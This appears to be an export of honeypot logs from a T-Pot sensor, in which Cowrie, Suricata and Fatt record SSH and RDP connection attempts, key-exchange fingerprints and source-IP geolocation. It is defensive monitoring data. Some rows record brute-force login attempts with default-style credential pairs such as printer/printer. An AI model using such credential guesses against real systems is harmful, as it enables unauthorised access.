27300	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:59.095071+03	2021-09-20 14:15:14.397674+03	{"_id": "wwbpAnwBvYTbRNuEpyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [printer/printer] failed", "session": "7cc8550af0ac", "@version": "1", "password": "printer", "username": "printer", "timestamp": "2021-09-20T11:13:59.095071Z", "@timestamp": "2021-09-20T11:13:59.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27301	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:13:59.213672+03	2021-09-20 14:15:14.398644+03	{"_id": "ygbpAnwBvYTbRNuEpyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d8b9d1a833b5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:13:59.213672Z", "@timestamp": "2021-09-20T11:13:59.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27302	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:59.612336+03	2021-09-20 14:15:14.400648+03	{"_id": "ywbpAnwBvYTbRNuEpyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4e8db495af9f", "@version": "1", "timestamp": "2021-09-20T11:13:59.612336Z", "@timestamp": "2021-09-20T11:13:59.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27303	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:13:59.265638+03	2021-09-20 14:15:14.401676+03	{"_id": "zAbpAnwBvYTbRNuEqSbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1705460326951262, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33406, "dest_port": 22, "timestamp": "2021-09-20T11:13:59.265638Z", "@timestamp": "2021-09-20T11:13:59.265Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27304	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:00.138767+03	2021-09-20 14:15:14.402677+03	{"_id": "0AbpAnwBvYTbRNuEqyYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:14:00.138767", "@timestamp": "2021-09-20T11:14:00.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27305	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:00.139388+03	2021-09-20 14:15:14.403674+03	{"_id": "0QbpAnwBvYTbRNuEqybh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a235e0e49439", "@version": "1", "timestamp": "2021-09-20T11:14:00.139388Z", "@timestamp": "2021-09-20T11:14:00.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27306	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:00.336618+03	2021-09-20 14:15:14.405674+03	{"_id": "1gbpAnwBvYTbRNuEqybi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "7cc8550af0ac", "@version": "1", "duration": 4.165790319442749, "timestamp": "2021-09-20T11:14:00.336618Z", "@timestamp": "2021-09-20T11:14:00.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27307	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:00.518613+03	2021-09-20 14:15:14.406674+03	{"_id": "1wbpAnwBvYTbRNuEqybi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "23ebd86f62c0", "@version": "1", "duration": 6.819389343261719, "timestamp": "2021-09-20T11:14:00.518613Z", "@timestamp": "2021-09-20T11:14:00.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27309	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:56.382556+03	2021-09-20 14:15:14.408674+03	{"_id": "qgbpAnwBvYTbRNuEniY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 461541161014663, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55788, "dest_port": 22, "timestamp": "2021-09-20T11:13:56.382556Z", "@timestamp": "2021-09-20T11:13:56.382Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27310	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:13:57.042193+03	2021-09-20 14:15:14.410675+03	{"_id": "qwbpAnwBvYTbRNuEniY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:56.364468+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 534882022625204, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54585, "dest_port": 3389, "timestamp": "2021-09-20T11:13:57.042193Z", "@timestamp": "2021-09-20T11:13:57.042Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27311	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:13:56.697598+03	2021-09-20 14:15:14.411675+03	{"_id": "rQbpAnwBvYTbRNuEnyZt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 54585, "dest_port": 3389, "timestamp": "2021-09-20T11:13:56.697598", "@timestamp": "2021-09-20T11:13:56.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
27312	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:57.426863+03	2021-09-20 14:15:14.412647+03	{"_id": "sgbpAnwBvYTbRNuEoCYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support123/support123] failed", "session": "ae8a5001f00b", "@version": "1", "password": "support123", "username": "support123", "timestamp": "2021-09-20T11:13:57.426863Z", "@timestamp": "2021-09-20T11:13:57.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27313	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:58.687947+03	2021-09-20 14:15:14.414647+03	{"_id": "twbpAnwBvYTbRNuEpCYP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4e8db495af9f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:58.687947Z", "@timestamp": "2021-09-20T11:13:58.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27314	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:58.687643+03	2021-09-20 14:15:14.415646+03	{"_id": "uAbpAnwBvYTbRNuEpiYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2168097024114411, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52372, "dest_port": 22, "timestamp": "2021-09-20T11:13:58.687643Z", "@timestamp": "2021-09-20T11:13:58.687Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
